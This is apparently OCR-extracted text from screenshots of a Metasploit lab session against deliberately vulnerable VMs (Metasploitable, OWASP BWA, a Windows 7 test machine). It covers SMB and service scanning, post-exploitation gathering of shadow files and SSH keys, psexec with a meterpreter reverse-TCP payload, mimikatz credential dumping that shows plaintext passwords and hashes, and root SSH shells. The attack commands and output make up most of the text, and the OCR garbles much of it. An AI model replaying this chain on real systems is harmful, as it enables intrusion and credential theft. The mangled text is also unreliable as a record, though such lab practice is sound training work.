/usr/share/metasploit-framework/lib/net/dns/resolver. rb:1127:in "new
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb:1127:in "block in nameservers from name'
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1126:in "each’
Jusr/share/metasploit-framework/lib/net/dns/resolver. rb:1126:in “naneservers_fron name'
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb rescue in block in nameservers=
/usr/share/metasploit-framework/lib/net/dns/resolver. rb block in nameservers:
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb each
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb nameservers='
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:1095:in ‘block in parse config file'
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1086:in "foreach
/usr/share/metasploit-framework/lib/net/dns/resolver. rb:1086:in "parse_config file'
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb:230:in "initialize
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1127:1in "new
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb:1127:in "block in nameservers from name'
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1126:in "each
/usr/share/metasploit-framework/lib/net/dns/resolver. rb:1126:in "naneservers_fron_name'
/usr/share/metasploit-framework/lib/net/dns/resolver. rb:334:in "rescue in block in nameserver
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:331:in "block in nameservers=
/usr/share/metasploit-framework/lib/net/dns/resolver. rb each”
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb nameservers='
/usr/share/metasploit-framework/lib/net/dns/resolver. rb: block in parse_config_file'
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb “foreach’
/usr/share/metasploit-franework/lib/net/dns/resolver. rb parse_config_file'
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:230:1n "initialize'
/usr/share/metasploit-franework/lib/net/dns/resolver. rb new
/usr/share/metasploit-framework/lib/net/dns/resolver. rb block in nameservers_from_name"
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb “each’
7usr/share/metasploit-franework/lib/net/dns/resolver. rb nameservers_fron_name"
/usr/share/metasploit-franework/lib/net/dns/resolver. rb rescue in block in nameserver
/usr/share/metasploit-franework/lib/net/dns/resolver. rb block in nameservers="
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:328:1n "each
Jusr/share/metasploit-franework/lib/net/dns/resolver. rb nameservers.
/usr/share/metasploit-framework/lib/net/dns/resolver. rb:1095:in block in parse_config_file'
Jusr/share/metasploit-framework/lib/net/dns/resolver. rb:1086:in foreach’
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1086:in "parse_config_file
/usr/share/metasploit-framework/lib/net/dns/resolver.rb:230:1n "initialize'
/usr/share/metasploit-franework/modules/auxiliary/gather/enun_dns.rb:87:in “new’
Jusr/share/metasploit-franework/nodules/auxiliary/gather/enun_dns.rb:87:in "dns_query'
/usr/share/metasploit-franework/modules/auxiliary/gather/enun_dns.rb:263:in "get a’
/usr/share/metasploit-franework/modules/auxiliary/gather/enun_dns.rb:178:1n "dns_wildcard_enabled?
/usr/share/metasploit-framework/modules/auxiliary/gather/enun_dns.rb:61:in *run’

[+] Auxiliary module execution completed

nsfs auxiliary( ) >

msf5 auxiliary( ) > use auxiliary/scanner/smb/sub_ns17_018

msf5 auxiliary( ) > set RHOSTS 192.168.18.64

RHOSTS => 192.168.13.64

nsf5 auxiliary( ) > run

192.168.18.64:445 - Host does NOT appear vulnerable.
[+] 192.168.18.64:445 Scanned 1 of 1 hosts (160% complete)
[+] Auxiliary module execution completed

msf5 auxiliary( ) > set RHOSTS 192.168.18.61
RHOSTS => 192.168.18.61

msf5 auxiliary( ) > run

192.166.18.61:445 - An SHB Login Error occurred while comecting to the IPCS tree.
[+] 192.168.18.61:445 - Scanned 1 of 1 hosts (16% complete)

{1 Auxiliary module execution completed

05 auxiliary( ) >
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RHOSTS => 192.168.18.64
msfs auxiliary( ) > ro

192.168.18.64:445 - Host does NOT appear vulnerable.
[%] 192.168.18.64:445 Scanned 1 of 1 hosts (160% complete)
[+] Auxiliary module execution completed

msfS auxiliary( ) > set RHOSTS 192.168.18.61
RHOSTS => 192.168.13.61

msf5 auxiliary( ) > run

192.168.18.61:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
(%] 192.168.18.61:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary( ) > use auxiliary/scanner/sab/snb_enunshares

nsf5 auxiliary( ) > set RHOSTS 192.168.18.67

RHOSTS => 192.168.13.67

msfs auxiliary( ) > run

192.168.18.67:139 - Login Failed: Unable to Negotiate with remote host
[*] 192.168.18.67 Scanned 1 of 1 hosts (160% complete)

[+] Auxiliary module execution completed

msfS auxiliary( ) > set RHOSTS 192.168.18.67

RHOSTS => 192.168.13.67

msf5 auxiliary( ) > set sMBUser IEUser

sMBUser => IEUser

msfs auxiliary( ) > set shgPass Password!

SMBPass => PasswOrd!

msf3 auxiliary( ) > run

192.168.18.67:139 Login Failed: Unable to Negotiate with remote host
[+] 192.168.18.67 - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

msf3 auxiliary( ) > set RHOSTS 192.168.18.67
RHOSTS => 192.168.18.67

nsf5 auxiliary( ) > set sMBUser IEUser
SMBUser => IEUser

msfs auxiliary( set sMBPass Password!
SMBPass => Password!

msf5 auxiliary( set SMBDomain WORKGROUP
SMBDonain => WORKGROUP

msfs auxiliary( > run

192.168.18.67:139 - Login Failed: Unable to Negotiate with remote host
[+] 192.168.18.67 - Scanned 1 of 1 hosts (186% complete)

[+] Auxiliary module execution completed

msfs auxiliary( ) > set RHOSTS 192.168.18.67
RHOSTS => 192.168.18.67

msf3 auxiliary( ) > set sMBUser IEUser
SMBUser => IEUser

msfs auxiliary( ) > set sMBPass Password!
SMBPass => Password!

msfs auxiliary( ) > set SMBDomain WORKGROUP
SMBDOnaLn => WORKGROUP

nsf5 auxiliary( ) > run

192.168.18.67:139 - Login Failed: Unable to Negotiate with remote host
[+] 192.168.18.67:445 ADMINS - (DISK) Remote Admin

[+] 192.168.18.67:445 - C$ - (DISK) Default share

[+] 192.168.16.67:445 - IPC$ - (IPC) Remote IPC

[+] 192.168.18.67 Scanned 1 of 1 hosts (160% complete)

[+] Auxiliary module execution completed

5 auxiliary( )
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msf5 auxiliary( set RHOSTS 192.168.18
RHOSTS => 192.168

msf3 auxiliary( set sMBUser IEUser
SMBUser => IEUser

s auxiliary( set sMBPass Password!
SMBPass => PasswOrd!

msfs auxiliary( > run

192.168.18.67:139 - Login Failed: Unable to Negotiate with remote host
[%] 192.168.18.67 Scanned 1 of 1 hosts (160% complete)

[*] Auxiliary module execution completed

msfs auxiliary( > set RHOSTS 192.168.18
RHOSTS => 192.168.13.67

msf5 auxiliary( set sMBUser TEUser
sMBUser => IEUser

msfs auxiliary( set sMgPass Password!
SMBPass => PasswOrd!

msf3 auxiliary( set SMBDOMain WORKGROUP
SMBDomain => WORKGROUP

nsfs auxiliary( > run

192.168.18.67:139 - Login Failed: Unable to Negotiate with remote host
[*] 192.168.18.67 - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

msfs auxiliary( ) > set RHOSTS 192.168.18.67
RHOSTS => 192.168.18.67

msf5 auxiliary( ) > set sMBUser IEUser
SMBUser => IEUser

msfs auxiliary( ) > set sMBPass Password!
SMBPass => Password!

msfs auxiliary( ) > set SMBDOmain WORKGROUP
SMBDomain => WORKGROUP

msf3 auxiliary( ) > run

192.168.18.67:139 Login Failed: Unable to Negotiate with remote host
192.168.18.67:445 ADMINS - (DISK) Remote Admin
192.168.18.67:445 s - (DISK) Default share
192.168.18.67:445 - IPC - (IPC) Remote IPC

[+] 192.168.18.67 - Scanned 1 of 1 hosts (180% complete)

[+] Auxiliary module execution completed

msfs auxiliary( ) > set RHOSTS 192.168.18.61

RHOSTS => 192.168.18.61

msf3 auxiliary( ) > run

192.168.18.61:139 Login Failed: Unable to Negotiate with remote host
[+] 192.168.18.61 - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed

msf3 auxiliary( ) > set RHOSTS 192.168.18.61

RHOSTS => 192.168.18.61

msf5 auxiliary( ) > set sMBUser Administrator
SMBUser => Adninistrator

nsfs auxiliary( ) > set sMBPass Ruler10108

SMBPass = Ruler1010@

nsf5 auxiliary( ) > run

192.168.18.61:139 Login Failed: Unable to Negotiate with remote host
192.168.18.61:445 ADMINS - (DISK) Remote Admin

/ 192.168.18.61:445 €$ - (DISK) Default share

/ *1 102,168 1861 Scanned 1 of 1 hosts (100% conplete)
v,

[
[+] Auxiliary module execution completed
nsf5 auxiliary( )

W@ (3 Right Cul

0 6:52 PM
& O Type here to search < 24°C Mostly clear DR =l B





image20.png
Kali Linux [Runnir

File

Ma

hine

Applcations = Places ~ 3 Terminal ~

192.168.18.67:139 Login Failed
[%] 192.168.18.67 - Scanned 1 of
[#] Auxiliary module execution completed
nsf5 auxiliary(

RHOSTS => 192.168.13.67

msfs auxiliary(

SMBUser => IEUser

msf5 auxiliary(

SMBPass => PasswOrd!

msf5 auxiliary(

SMBDomain => WORKGROUP

msf3 auxiliary(

192.168.18.67:139 Login Failed
[+] 192.168.18.67 - Scanned 1 of
[*] Auxiliary module execution completed
msf3 auxiliary(

RHOSTS => 192.168.18.67

S5 auxiliary(

SMBUser => IEUser

S auxiliary(

SMBPass => Password!

msf5 auxiliary(

SMBDonain => WORKGROUP

msfs auxiliary(

192.168.18.67: 139 Login Failed:
[+] 192.168.18.67:445 ADMINS - (DIS)
[+] 192.168.18.67:445 €S - (DISK) De
[+] 192.168.18.67:445 - IPC$ - (IPC)
(%] 192.168.18.67 - Scanned 1 of
[+] Auxiliary module execution completed
msfS5 auxiliary(

RHOSTS => 192.168.18.61

msfs auxiliary(

192.168.18.61:139 - Login Failed:
[+] 192.168.18.61 - Scanned 1 of
[+] Auxiliary module execution completed
msfs auxiliary(

RHOSTS => 192.168.18.61

msf3 auxiliary(

SMBUser => Adninistrator

nsf5 auxiliary(

SMBPass => Ruler1010@

nsfs auxiliary(

192.168.18.61:139 Login Failed
[+] 192.168.18.61:445 ADMINS - (DIS}
[+] 192.168.18.61:445 cs - (DISK) D
[+] 192.168.18.61:445 IPC$ - (1PC)
[+] 192.168.18.61 - Scanned 1 of
[+] Auxiliary module execution completed
msfs auxiliary(

msf5 auxiliary( )
RHOSTS => 192.168.18.67

msf3 auxiliary( )

[+] 192.168.18.67 Scanned 1 of
[+] Auxiliary module execution completed
nsf5 auxiliary( )

Unable to Negotiate with remote host
hosts (100% conplete)

> set RHOSTS 192.168.18.67
set SMBUser IEUser
set sMBPass Password!
set SNBDonain WORKGROUP
> run

Unable to Negotiate with remote host
hosts (160% coplete)

Set RHOSTS 192.168.18.67
set sMBUser IEUser
set SMBPass Password!

) > set SMBDomain WORKGROUP

) > run

Unable to Negotiate with remote host

K) Remote Admin

efault share

Remote IPC

1 hosts (160% complete)

) > set RHOSTS 192.168.15.61

) > run

Unable to Negotiate with remote host
1 hosts (100% complete)

) > set RHOSTS 192.165.15.61
) > set sMBUser Administrator

) > set sMBPass Ruler10108

) > run

Unable to Negotiate with remote host
K) Remote Admin

efault share

Remote IPC
1 hosts (100% complete)

) > use auxiliary/scanner/smb/smb_enunusers

> set RHOSTS 192.168.13.67
> run
1 hosts (100% complete)
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nsf5 auxiliary(

nsf5 auxiliary(

RHOSTS => 192.168.18.55

nsfs auxiliary(

THREADS => 5

msf5 auxiliary( >

(+] 192.168.16.55:80 Apache/2.2.14 (Ubuntu)
perl/2.0.4 Perl/vs.10.1

(] Scanned 1 of 1 hosts (106% complete)
[*] Auxiliary module execution completed

use

> set

set

mod

nsf5 auiliary( I |

5at08:57

Terminal

auxiliary/scanner/http/http_version
RHOSTS 192.168.18.55

THREADS 5

mono/2.4.3 PHP/5.3.2-1ubuntud. 30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenssL/e.9.8k Phusion Passenger/4.9.38 mod
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msf5 auxiliary( auxiliary/scanner/http/http_version

nsf5 auxiliary( RHOSTS 192.168.18.55
RHOSTS => 192.168.18.55

msfs auxiliary( THREADS 5
THREADS => 5
msfs auxiliary( ) >

192.168.18.55:80 Apache/2.2.14 (Ubuntu)
perl/2.0.4 Perl/vs.10.1

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf3 auxiliary( ) > use auxiliary/scanner/http/brute_dirs
msf5 auxiliary( ) > set RHOSTS 192.168.18.55

RHOSTS => 192.168.18.55

msf5 auxiliary( ) > run

mon0/2.4.3 PHP/5.3.2-1ubuntud.30 with Suhosin-Patch proxy html/3.6.1 mod python/3.3.1 Python/2.6.5 mod ss1/2.2.14 0penssL/e.9.8k Phusion Passenger/4.0.38 mod

[*] Using code '484' as not found.

Found http://192.168.16.55:80/doc/ 403
(] Scanned 1 of 1 hosts (100% complete)
(] Auxiliary module execution completed
nsfs suxiliary( I |
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msf5 auxiliary( ) > use auxiliary/scanner/ssh/ssh_version

msf3 auxiliary( ) > set RHOSTS 192.168.18.52

RHOSTS => 182.168.18.52

nsfs auxiliary( ) > run

192.168.18.52:22 - SSH server version

55H-2.0-0penssH_4.7p1 Debian-Bubuntul ( service.version=4.7p1 openssh.conmen
enssH service.cpe23=cpe:/a:openbsd:openssh:4.7p1 os.vendor=Ubuntu os.fanily=Linux os.product=Linux os.version
)

ebian-Bubuntul service.vendor=Open8sp service.family=OpenssH service.product=0p|
.04 0. cpe2;

pe:/o:canonical:ubuntu_1inux:8.04 service.protocol=ssh fingerprint db=ssh.banner
[%]1192.168.18.52:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

nsfs auxiliary( O |
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nafs auxiliary( ) > use auxiliary/scanner/ssh/ssh_version
055 suxitiary( ) > set RHSTS 152.168.18.52
RHOSTS => 192.168.16
nsfs auxiliary( ) > run

192.168.18.52:22 SSH server version: SSH-2.0-OpenssH_4.7p1 Debian-gubuntul ( service.version=4.7pl openssh.comment=Debian-8ubuntul service.vendor=0penBSD service.family=OpenssH service.product=op)
enssH service.cpe23=cpe:/a:openbsd:openssh:4.7p1 os.vendor=Ubuntu os.family=Linux os.product=Linux os.version=8.04 os.cpe23=cpe:/o:canonical:ubuntu_Linux:8.04 service.protocol=ssh fingerprint_ db=ssh.banner
)

[*] 192.168.18.52:22 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

nsfs auxiliary( ) > use auxiliary/scanner/ftp/ftp_version

nsf5 auxiliary( ) > set RHOSTS 192.168.18.52

RHOSTS => 192.168.18

msfs auxiliary( ) > run

192.168.18.52:21 FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x6a
[+] 192.168.18.52:21 - Scanned 1 of 1 hosts (100% conplete)
(%] Auxiliary module execution completed

i [sts auxitiaryC ) >
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ali Linux [Runnin acle VirtualBox

Machine View Input Devices Help

Applcations > Places ~ () Terminal -

Terminal © ® © | Autocapture keyboard
Edt View Search Terminal Help

again
Warning: Never expose this VM to an untrusted networklContact: msfdev(atlmetasploit.conlogin with msfadmin/msfadmin to get started <

Linux metasploitable 2.6.24-16-server #1 SNP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
apache2.conf stored in /root/.nsfd/100t/20251206203128 default 192.168.18.52 linux.enun.conf 811673. txt
ports.conf stored in /root/.msf4/l00t/20251206203128 default 192.168.18.52_linux.enun.conf 713601.txt
my.cnf stored in /root/.msf4/l00t/20251206203128 _default 192.168.18.52_Linux.enun.conf_521639. txt
ufuw.conf stored in /root/.msf4/100t/20251206203129 default 192.168.18.52 Linux.enun.conf 774597.txt
sysctl.conf stored in /root/.msf4/l00t/20251206203129_default_192.168.18.52_Linux.enum.cont_559246. txt
shells stored in /root/.nsf4/100t/20251206203129 default 192.168.18.52 linux.enun.conf 80341a. txt
access.conf stored in /root/.nsf4/l00t/20251206263130_default 192.168.18.52_linux.enun.conf 467425.txt
rpc stored in /root/.msf4/l00t/26251206203130_default 192.168.18.52_Linux.enun.conf_139989.txt
debian.cnf stored in /root/.msf4/l00t/20251206263131 default 192.168.18.52 linux.enun.conf 388658.txt
logrotate.conf stored in /root/.msf4/l00t/20251206203131_default_192.168.18.52_Linux.enun.conf_690678.txt
snb.conf stored in /root/.msf4/100t/20251206203132 default 192.168.18.52 linux enun.conf 887884. txt
Ldap. conf stored in /root/.msf4/100t/20251266203132_default 192.168.18.52_Linux.enun.conf_066565. txt
sysctl.conf stored in /root/.msf4/l00t/20251206203133_default 192.168.18.52_Linux.enum.conf_037928. txt

[+] Post module execution completed

nsf5 post( ) >

nsf5 post( ) > use post/linux/gather/enun_users_history

nsf5 post( ) > set SESSION 1

SESSION => 1

nsf5 post( ) > run

SESSION may not be compatible with this module.
Info
- o - - IR ) G (e ) e e [
LI O Sy T 1 O 7 I S /s 7 G VP o | N
Warning: Never expose this VM to an untrusted network!Contact: msfdev(atimetasploit.conLogin with msfadnin/msfadmin to get started
Linux metasploitable 2.6.24-16-server #1 SWP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
MysQL history for msfadmin stored in /root/.msf4/l0ot/20251206203159_default 192.168.18.52_Linux.enun.users_534499. txt
bash history for postgres stored in /root/.msf4/100t/20251206203203 default_192.168.18.52_Linux.enun.users 584839, txt
bash history for user stored in /root/.msf4/100t/20251206203208 default 192.168.18.52 linux.enun.users 884612. txt
Last logs stored in /root/.msf4/l00t/20251206203215_default_192.168.18.52_Linux.enun.users_778829. txt
Sudoers stored in /root/.msf4/100t/20251206203215 default 192.168.18.52 linux.enun.users 377337.txt
[+] Post module execution completed
nsfs post( ) >
msf5 post( ) > use post/linux/gather/enun_network
nsf5 post( ) > set SESSION 1
SESSTON => 1
s post( ) > run

SESSION may not be compatible with this module.
[*] Running module against metasploitable
[+] Module running as root
Info
i i 7 7 iy v, s 1) 9 9 s Y
NG /7 11NN T T 7 o 18 |
Warning: Never expose this VM to an untrusted network!Contact: msfdev(atimetasploit.conlogin with msfadnin/msfadmin to get started
Linux metasploitable 2.6.24-16-server #1 SWP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
[*] Collecting data
Network config stored in /root/.msf4/100t/20251206203220 default_192.168.18.52_Linux.enum.netwo_725159. txt
Route table stored in /root/.msf4/l00t/20251206203220 default 192.168.18.52 linux.enun.netwo_644044. txt
Firewall config stored in /root/.msf4/loot/20251206203220_default_192.168.18.52_Linux.enun.netwo_009519. txt
DNs config stored in /root/.msf4/l00t/20251206203220 default 192.168.18.52_linux.enun.netwo_283140.txt
SSHD config stored in /root/.msf4/loot/20251206203226_default_192.168.18.52_linux.enum.netwo_550998. txt
Host file stored in /root/.msf4/00t/20251206203220_default_192.168.18.52_Linux.enun.netwo_597910. txt
SSH keys stored in /root/.msf4/100t/20251206203220 default 192.168.18.52 Linux. enun.netwo_320789.txt
Active connections stored in /root/.msf4/100t/20251206203220_default_192.168.18.52_Linux.enun.netwo_006210.txt
wireless information stored in /root/.msf4/100t/20251206203220 default 192.168.18.52 linux.enun.netwo_164077. txt
Listening ports stored in /root/.msf4/l00t/20251206203220_default_192.168.18.52_Linux.enun.netwo_158916. txt
If-Up/If-Down stored in /root/.msf4/100t/20251206203220_default_192.168.18.52_Linux.enun.netwo_113953.txt
[+] Post module execution completed
nsf5 post( ) >
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20251126161232_default_192.168.18.52_Linux. enun.netwo_210911. txt <
20251128161232_default 192.168.18.52_Linux. enun.netwo 328615, txt
20251128161232_default_192. 52_Linux. enum. netwo_408086. txt
20251128161232_default 192.168.18.52_Linux. enun. netwo 627794 . txt
2025126161232 default 192 52 Uinux. enum. netwo_838855. txt
20251128161232 default_192.168.18.52_Linux. enun. netwo 923870, txt
26251126161232 default 192 52 Uinux. enun. netwo 960555 txt
2025128161233 default 192 52_Uinux. enun. netwo_133252.txt
26251126161233_default 192.168.18.52_Linux. enun.netwo 304202, txt
20251128161233_default 192 52_Uinux. enum, netwo 564896 txt
26251128161334_default 192.168.18.52_Linux.version_124042. txt
26251128161356 default 192 52 Linux.enun. syste 064648. txt
20251126161356_default 192 52_Uinux.enun. syste_309535_txt
26251126161356 default 192.168.18.52 Linux. enun. syste 375303.txt
20251128161356_default 192 52 Uinux.enun. syste 486285.txt
20251128161356_default_192.168.18.52_Linux. enun. syste_523203.txt
20251126161356_default 192 52 Uinux.enun. syste 758184, txt
20251128161356_default 192 52_Uinux.enun. syste_822555.txt
20251126161356_default 192.168.18.52_Linux. enun.syste 949762.txt
20251128161944 default 192 52 Uinux. passwd_474859. txt
20251128161945_default_192.168.18.52_Linux. passwd.his_533679.txt
20251126161945 default 192 52 Uinux. shadow 817283. txt
20251128161946_default_192. 52_Uinux. hashes_362038. txt
20251206203128 _default 192.168.18.52_Linux. enun.conf 521639.txt
20251206203128 default 192 52 Uinux.enum. conf 713601, txt
20251206203128_default_192.168.18.52_Linux. enun. conf 811673 . txt
2025120620312 _default 192 52 Uinux.enun. conf 559240, txt
20251206203129_detault_192. 52_Uinux.enun. conf_774597 . txt
20251206203129_default 192 52 Uinux.enun. conf_803414. txt
20251206203130 default 192 52 Uinux.enun. conf 139989 txt
20251206203130_default_192.168.18.52_Linux. enun. conf_407425.txt
20251206203131 default 192 52 Uinux.enun. conf 388658, txt
20251206203131_default_192.168.18.52_Linux. enun. conf_690678. txt
20251206203132_default 192. 52_Uinux.enun. conf 060565 txt
20251206203132_default 192 52 Uinux. enun. conf 887884.txt
20251206203133_default 192.168.18.52_Linux. enun. conf_037928. txt
2025120620315 _default 192 52 Uinux.enum.users_534499. txt
20251206203203_default_192.168.18.52_Linux. enun.users_584839. txt
20251206203208 default 192. 52 Uinux.enun. users 884612, txt
20251206203215_default 192 52_Uinux. enun. users_377337.txt
20251206203215_default 192.168.18.52_Linux. enun.users 778829, txt
2025120620322 _default 192 52 Uinux. enum. netwo_006210. txt
20251206203220_default_192.168.18.52_Linux. enun.netwo_009519. txt
2025120620322 _default 192. 52 Uinux. enun. netwo 044044 . txt
reer 20251206203226_default 192 52_Uinux. enum. netwo_113053 . txt
r- :32 20251206203220_default_192.168.18.52_Linux.enun.netwo_158916. txt
rer 2025120620322 _default 192 52 Uinux. enum. netwo 164077 . txt
rer :32 20251206203220_default_192.168.18.52_Linux. enun.netwo_283140. txt
reer 20251206203220_default 192 52 Uinux. enun. netwo 320789 txt
reer 20251206203220_default 192 52_Uinux. enum. netwo_550998 . txt
e :32 20251206203220_default_192.168.18.52_Linux.enun.netwo_597910. txt
reer 2025120620322 _default 192 52 Uinux. enum. netwo 725159 txt
roer 132 20251206203222_default_192.168.18.52_Linux.version_249700. txt
reer 20251206203244_default 192 52 Uinux.enun. syste 046275. txt
roer 20251206203244_default_192. 52_Uinux.enun. syste 212520, txt
e :32 20251206203244_default_192.165.18.52_Linux.enun. syste 380481, txt
reer 20251206203244_default 192 52 Uinux. enum. syste 417502.txt
- :32 20251206203244_default_192.168.18.52_Linux.enun. syste_458324. txt
reer 20251206203244_default 192 52 Uinux.enun. syste 538834.txt
reer :32 2025120620324 _default_192. 52_Linux.enun. syste_630860. txt
reer- 1 2025120620324 _default 192.168.18.52_Linux. enun.syste 683325, txt
root@osboxes
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192.168.18.67

Df5 exploit(vindows/snb/psexec) > set lhost 192.168.18.66

Thost => 192.168.13.66

msf5 exploit (windows/snb/psexec) > set smbuser IEUser

smbuser => IEUser

msf5 exploit (windows/snb/psexec) > set smbpass Password!

smbpass => Password!

msf5 exploit (windows/snb/psexec) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit (windows/snb/psexec) > run

Started reverse TCP handler on 192.168.18.66:4444
192.168.18.67:445 - Connecting to the server.
192.168.18.67:445 - Authenticating to 192.168.18.67:445 as user 'IEUser’
192.168.18.67:445 - Selecting Powershell target
192.168.18.67:445 - Executing the payload

[+] 192.168.18.67:445 - Service start tined out, OK if running a command or non-service executable
sending stage (179779 bytes) to 192.168.18.67
Meterpreter session 1 opened (192.168.18.66:4444 -> 192.168.18.67:49312) at 2025-12-06 20:57:44

neterpreter > sysinfo
Computer TEWINT
0s Windows 7 (Build 7601, Service Pack 1)
Architecture x86
Systen Language : en US
Domain WORKGROUP
Logged on Users : 2
Meterpreter x86/windows
meterpreter > getuid
Server usernane: NT AUTHORITY\SYSTEM
meterpreter > getsysten
-.got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))
neterpreter > load kiwi
Loading extension kiwi
###44.  minikatz 2.1.1 20180925 (xB6/windows)
# ~ ##. "Ala Vie, A L'Anour”
#% /\ #£ (**+ Benjamin DELPY ‘gentilkiwi' ( benjaminegentilkiwi.com )
w4\ > http://blog.gentilkivi.con/minikatz
ey Vincent LE Toux ( vincent. letouxegmail.com )
e > http://pingcastle.con / http://mysmartlogon.com +++/

Success.

neterpreter > creds_all

[+] Running as SYSTEM
Retrieving all credentials

msv credentials

Usernane  Domain NTLM SHal

TEUser IEWINT fc525c9683¢8e067095ba2ddco71889 5347244228727 5789b0148959141960aad5d22
sshd server IEWINT B8d0al6cfcoslc3359dbassdanec27035 94bd2dfsacscadbbbs7s7c3be0ldddoc27 9362f

wdigest credentials

Usernane  Domain  Password
(nul1) (null) (nul1)
IEUser IEWIN7  Password!
TENINTS WORKGROUP  (null)
sshd_server IEWINT  D@rj33ling
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Dsf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary( ) > set RHOSTS 192.168.18.55
RHOSTS => 192.168.18.55

msfs auxiliary( ) > set USERNAME root
USERNAME => root

nsfs auxiliary( ) > set PASSWORD owaspbwa
PASSWORD => owaspbwa

nsts auxiliary( ) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true

msts auxiliary( ) > run

[+] 192.168.16.55:22 - Success: ' root:owaspbua’ '
(] Command shell session 3 opened (192.168.18.66:44651 -> 192.168.18.55:22) at 2025-12-06 21:04:15
(+] Scanned 1 of 1 hosts (100% complete]

(] Auxiliary module execution completed

sf5 auxiliary( ) > sessions

Active sessions

Id Name Type Infornation Connection

2 shell cnd/unix 192.168.18.66:41105 -> 192.168.13.52:6200 (192.165.18.52)
3 Shell unknown  SSH root:owaspbwa (192.168.18.55:22) 192.168.18.66:44651 -> 192.168.18.55:22 (192.168.18.55)

msfs auxiliary( ) > sessions -i 3
[%) starting interaction with 3

stdin: is not a tty
Welcome to the OWASP Broken Web Apps VM

111 This VM has many serious security issues. We strongly recommend that you run
it only on the "host only* or “NAT* network in the VM settings !!!

You can access the web apps at http://192.168.18.55/

You can administer / configure this machine through the console here, by SSHing
to 192.168.18.55, via samba at \\192.168.18.55\, or via phpmyadnin at
http://192.168.18.55/phpnyadnin

In all these cases, you can use username "root” and password "owaspbwa”

whoami.
hostnane
ifconfig
root
owaspbwa
etho Link encap:Ethernet HWaddr 08:00:27:19:15:61
inet addr:192.168.18.55 Bcast:192.168.18.255 Mask:255.255.255.0
inet6 addr: 2400:adcl:1ff:5100:300:2711:fel9:f561/64 Scope:Global
ineté addr: fe8o::a00:27ff:fe19:561/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:9201 errors:0 dropped:0 overruns:@ frame:0
TX packets:4737 errors:0 dropped:0 overruns:@ carrier:e
collisions:@ txqueuelen:1000
RX bytes:1244418 (1.2 MB) TX bytes:1363418 (1.3 MB)
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PASSWORD => owaspbwa

msf5 auxiliary(scanner/ssh/ssh login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true

Dsf5 auxiliary(scanner/ssh/ssh_Login) > run

(41 192.168.18.55:22 - Success: ‘root:owaspbwa’ '’
Command shell session 3 opened (192.168.18.66:44651 -> 192.168.18.55:22) at 2025-12-96 21:04:15 -0500
Scanned 1 of 1 hosts (109% complete)

Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh Login) > sessions

Active sessions

Type Information Connection

. - shell end/unix 192.168.18.66:41105 -> 192.168.18.52:6200 (192.168.18.52)
3 shell unknown  SSH root:owaspbwa (192.168.18.55:22) 192.168.18.66:44651 -> 192.168.18.55:22 (192.168.18.55)

B .oc oy eanner s s tenio) = sessions -4 3

. Starting interaction with 3

stdin: 15 not a try
B vctcone <o the omasp Broken veb Apps Wi

I !!! This VM has many serious security issues. We strongly recommend that you run
it only on the *host only" or *NAT" network in the VM settings !!!

[ o con access the veb apps ot hetpi//s2.168.18.55/

You can administer / configure this machine through the console here, by SSHing
“® 1 192.168.18.55, via Sanba at \\192.168.18.55\, or via phpuyadmin at
http://192.168.18.55/phpmyadnin

In all these cases, you can use username "root” and password "owaspbwa”

Q) hoans

hos tnane
itcontig
B oo
ovaspov
etho  Link encapicthernet Waddr 08:00:27:19:f5:61
inet addr:150.16.18.53 Bcast:192 16818 355 Mask:255.255.255.0
Inets addr: 2400:adci:111:5100:20012711: 1e19:1561/64 Scope:6lobal
ineto addr: feBo; a00;271ffels: f361/64 ScoperLink
UP' BROADCAST RUNNING MULTICAST MTU:1500 etric:1
R packets:9201 errors:0 dropped:0 overruns:o frane:0
T packets |73 errars:0 dropped;o overruns.a carrier:e
collisions o txaueuelen: 1000
R bytes: 1244418 (1.2 MB) TX bytesi1363418 (1.3 MB)

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

inete addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:l

RX packets:1740 errors:0 dropped:0 overruns:e frame:o
TX packets:1740 errors:0 dropped:@ overruns:e carrier:e
collisions:0 txqueuelen:0

RX bytes:305565 (305.5 KB) TX bytes:305565 (305.5 KB)
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root@osbores: ~

Terminal _Help
“seccomp’ System Call Security Bypass
- 'sock.c' SO_BSDCOMPAT Option Information Disclosure
